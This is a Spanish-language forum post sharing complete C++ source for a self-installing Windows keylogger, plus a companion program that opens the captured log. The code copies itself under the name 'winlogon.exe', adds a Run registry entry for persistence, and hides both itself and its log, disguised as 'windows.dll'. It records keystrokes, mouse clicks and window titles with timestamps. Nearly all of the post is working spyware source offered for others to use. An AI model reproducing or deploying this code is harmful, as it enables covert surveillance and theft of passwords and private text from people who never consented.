vi algunos interesados en keylogger asi que traigo esto
esta algo desordenado.
perdon el desorden .
aca un keyloggeer que hice se instala solo hecho para windows xp pero si quieren adaptarlo:
IMPORTANTE PARA WINDOWS VISTA O POSTERIOR descomentar nunca probe esta parte del code talves se necesiten ligeras modificaciones adicionales
leer logs.cpp
esta algo desordenado.
perdon el desorden .
aca un keyloggeer que hice se instala solo hecho para windows xp pero si quieren adaptarlo:
IMPORTANTE PARA WINDOWS VISTA O POSTERIOR descomentar nunca probe esta parte del code talves se necesiten ligeras modificaciones adicionales
Código (c) [Seleccionar]
/*
char *instaladooo;
instaladooo=getenv("USERPROFILE");
SetCurrentDirectory(instaladooo);
*/
Código (c) [Seleccionar]
#include <cstring>
#include <windows.h>
#include <fstream>
#include <ctime>
using namespace std;
int main ( int argc, char *argv[] )
{
HWND hwnd;
char ventana[255];
char venta2[255];
//existe el archivo log? si no existe instalar keylogger :D
ifstream logc;
logc.open ( "windows.dll" );
if ( !logc.is_open() )
{
//---- se busca la carpeta de usuario
char * dirinstal;
char archivo [70];
char * discolocal;
dirinstal = getenv ( "HOMEPATH" );
discolocal = getenv ( "SystemDrive" );
strcpy ( archivo,discolocal );
strcat ( archivo,dirinstal );
//se crea el archivo log
ofstream logos;
char winlog [70];
strcpy ( winlog, archivo );
strcat ( winlog, "\\windows.dll" );
logos.open ( winlog, ios::out | ios::app );
logos.close ();
//-------
strcat ( archivo, "\\winlogon.exe" );
// se copia en la carpeta de usuario
CopyFile ( argv[0], archivo, true );
//- ahora se añade al registro
HKEY hkey;
RegOpenKeyEx ( HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\run",
0, KEY_SET_VALUE, &hkey );
RegSetValueEx ( hkey, "windout", 0, REG_SZ,
(const unsigned char * ) archivo, sizeof archivo );
RegCloseKey ( hkey );
//se esconden los archivos , el keylogger y el log
SetFileAttributesA ( archivo, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
// ahora el log
SetFileAttributesA ( winlog, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM );
//por ultimo se cierra el sistema esperando que se reinicie el pc
return 0;
}
logc.close();
// abre el archivo log
/*
char *instalado
instalado=getenv("USERPROFILE");
SetCurrentDirectory(instalado)
*/
ofstream log;
log.open ( "windows.dll", ios::out | ios::app );
while ( true )
{
//detecta cambio de ventana
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, ventana, 255 );
//----------------------
for(int x=65;x<=90;x++) //valores ascii de los caracteres
{
if ( GetAsyncKeyState ( x ) == -32767 )
{
log << ( char ) x;
}
}
for ( int x=48; x<=57; x++ ) //valores ascii de los numeros
{
if ( GetAsyncKeyState (x) == -32767 )
{
log << ( char ) x;
}
}
if ( GetAsyncKeyState ( ' ' ) == -32767)
{
log << " ";
}
if ( GetAsyncKeyState (1) == -32767)
{ //CLICK izquierdo
log << "[click-izq]";
}
if ( GetAsyncKeyState(2) == -32767 )
{ //click derecho
log << "[click-der]";
}
if ( GetAsyncKeyState (8) == -32767 )
{ // nada que decir
log << "[backspace]";
}
if ( GetAsyncKeyState (190) == -32767 )
{ // nada que decir
log << ".";
}
if ( GetAsyncKeyState (188) == -32767 )
{ // nada que decir
log << ",";
}
if ( GetAsyncKeyState (13) == -32767 )
{ // nada que decir
log << "[enter]";
}
//capturar flechas
if(GetAsyncKeyState(37) == -32767)
{ // nada que decir
log << "[left]";
}
if(GetAsyncKeyState(38) == -32767 )
{ // nada que decir
log << "[up]";
}
if(GetAsyncKeyState(39) == -32767 )
{ // nada que decir
log << "[right]";
}
if(GetAsyncKeyState(40) == -32767)
{ // nada que decir
log << "[down]";
}
if(GetAsyncKeyState(9) == -32767)
{
log << "[tab]";
}
//detecta cambio de ventana con otra variable
hwnd = GetForegroundWindow ();
GetWindowText ( hwnd, venta2, 255 );
//compara las viarablews de cambio de ventana
if ( strcmp ( ventana, venta2 ) != 0 )
{
//ventana a comparar
char key[]= "lolwinlogonlol";
// sera el nombre de la ventana que cierre el proceso
if ( strcmp ( ventana,key )== 0 )
{
log.close ();
return 0;
}
//calcular la fecha
time_t tiempo = time (0);
struct tm *tlocal = localtime (&tiempo);
char output[128];
strftime ( output, 128, "%d/%m/%y %H:%M:%S", tlocal );
//--------------------
log << endl << "-------------------------" << endl;
log << "fecha:" << output << endl;
log << endl << "ventana:"<< venta2 << endl;
}
}
return 0;
}
leer logs.cpp
Código (cpp) [Seleccionar]
#include <iostream>
#include <cstring>
#include <windows.h>
using namespace std;
int main()
{
char direccion[70]="notepad \"";
char *disco;
char *varsis;
SetConsoleTitle("lolwinlogonlol");
cout << "espere mientras se abre el archivo:" << endl;
varsis=getenv("HOMEPATH");
disco=getenv("SystemDrive");
strcat(direccion,disco);strcat(direccion,varsis);strcat(direccion,"\\windows.dll\"");
system(direccion);
cout << "lol" ;
return 0;
}